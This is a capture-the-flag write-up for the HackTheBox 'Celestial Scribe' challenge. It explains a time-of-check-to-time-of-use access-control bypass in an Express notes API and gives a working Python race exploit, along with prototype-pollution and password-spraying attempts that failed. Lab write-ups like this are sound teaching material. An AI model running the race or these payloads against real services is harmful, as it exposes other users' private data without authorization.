Celestial Scribe
HackTheBox
Task: Android APK (Secure Cloud Notes) frontend over an Express/Node.js REST API; flag lives in a protected admin note. Solution: TOCTOU on a process-global authorization flag — a legitimate check-permission on an owned note poisons the shared `allowed` state, then an immediate GET of the admin note (numeric id 1) bypasses access control.
$ ls tags/ techniques/
Celestial Scribe — HackTheBox
Description
Secure Cloud Notes — an Android app for storing your private notes in the cloud. Configure your server base URL and keep your secrets safe. (package
htb.d3vnu11.securenotes)
English summary: The challenge ships an Android APK that acts as a thin client over a remote Express/Node.js REST API. The user points the app at http://IP:PORT/api. The flag is stored inside a hidden admin note that a normal user is not authorized to read. The goal is to read that protected note.
Recon
APK decompilation
Decompiled the APK with jadx and apktool. Package: htb.d3vnu11.securenotes. From the decompiled sources we recover the full API surface:
| Method | Endpoint | Behavior |
|---|---|---|
| POST | /api/auth/register {email, password} | returns HS256 JWT |
| POST | /api/auth/login {email, password} | returns HS256 JWT |
| GET | /api/auth/verify | returns userId |
| GET | /api/notes | list of own notes {id, title, createdAt} |
| GET | /api/notes/:id/check-permission | 200 {success:true} if caller owns note, else 403 Access denied |
| GET | /api/notes/:id | note content if permitted |
| POST | /api/notes {id, title, content} | create note |
| DELETE | /api/notes/:id | delete note |
The critical client flow
The decompiled note-open routine (class D0 / h.java) performs the read in two separate server round-trips with a delay in between:
GET /notes/:id/check-permission // authorization check
Thread.sleep(100) // <-- 100 ms gap
GET /notes/:id // actual read
This split between the time-of-check (check-permission) and the time-of-use (GET note) is the structural hint that the authorization decision is not bound to the read request.
JWT
The bundled sample token (jwt.txt) decodes to HS256 with payload {id, email: [email protected], iat, exp}.
Hypotheses Tried and Discarded
These were all dead ends — documented so other players skip them:
- JWT attacks. The HS256 signing secret was not crackable (absent from rockyou, top-200, and themed wordlists).
alg:nonewas rejected; tampered signatures were rejected. JWT forgery is impossible here. - Credential hunting / password spraying. Spraying default passwords (e.g.
Tmp123456!) against guessed accounts like[email protected],admin@…is a pure red herring. Importantly, the literal note idflagdoes not exist. - Prototype pollution via query string.
?a[__proto__][flag]=1,__proto__[flag][id]=flag— no observable effect. - Object / type-confusion writes. POST
/noteswith object-typedtitle/contentonly produced500 Server error. - Email normalization / duplicate-key JSON / Unicode email collisions. No account takeover.
- Naive race against your own
check-permissionto flip aflagGET. Produced only403/404noise — because the idflaggenuinely does not exist (404 once the gate opened).
The Vulnerability — TOCTOU on Global Authorization State
The Express backend stores the result of check-permission in a process-global variable (e.g. a module-level allowed flag) rather than scoping it to the individual request/user. Because authorization and the read are two separate HTTP requests, the global state can be poisoned:
- A legitimate
GET /notes/<ownId>/check-permissionsets the sharedallowed = true. - Any subsequent
GET /notes/<anyId>that arrives before the flag is reset / re-evaluated reads the poisoned global, passes the gate, and returns the note regardless of ownership.
This is a classic time-of-check-to-time-of-use (TOCTOU) broken-access-control bug combined with shared mutable server state. No JWT forgery, no credential theft — just exploiting the gap the client itself exposes with its Thread.sleep(100).
Exploitation
- Register any account; capture the JWT.
GET /api/notesto learn your own note id.GET /api/notes/<ownId>/check-permission→ legitimately returns 200 and poisons the globalallowed=true.- Immediately
GET /api/notes/<targetId>→ reads the poisoned global, bypasses the gate, returns the admin note.
Because there is a real race window, each attempt succeeds roughly ~50% of the time; a short loop (8–20 iterations) succeeds deterministically.
#!/usr/bin/env python3 import requests, time base = 'http://TARGET:PORT/api' s = requests.Session() # 1) register & grab JWT tok = s.post(base + '/auth/register', json={'email': f'a{int(time.time())}@test.com', 'password': 'P@ssw0rd123!'}).json()['token'] h = {'Authorization': f'Bearer {tok}'} # 2) own note id own = s.get(base + '/notes', headers=h).json()['notes'][0]['id'] # 3+4) poison global allowed=true, then read protected admin note (numeric id "1") for _ in range(20): s.get(base + f'/notes/{own}/check-permission', headers=h) # poison r = s.get(base + '/notes/1', headers=h) # bypass read if r.status_code == 200: print(r.json()['note']['content']) break
Key Insight — Numeric Note IDs, Not flag
The decisive realization: notes are stored under numeric indices (1, 2, …), not the string flag. The fake flag id sends countless solvers down a rabbit hole. After leaking the permission grant, iterating ids reveals:
GET /api/notes/1→ admin-note-1, title "Secure System Configuration", content = the flag.GET /api/notes/2→ admin-note-2, a decoy "Server Maintenance Schedule".
Behavioral evidence confirming the bug:
- No priming:
GET /notes/flag→ always 403. - Own-note
check-permissionthen GET → 404/403 mix (gate opened, butflagid missing → 404), proving the global-permission leak is real andflagis fake. - Own-note
check-permissionthenGET /notes/1→ 200 with the flag.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Secure Notes— HackTheBox
- [web][Pro]Та самая заметка (That Same Note)— hackerlab
- [web][free]Secure Secretpickle— gpnctf
- [misc][free]Chrono Mind— HackTheBox
- [web][Pro]Заметки (Notes)— hackerlab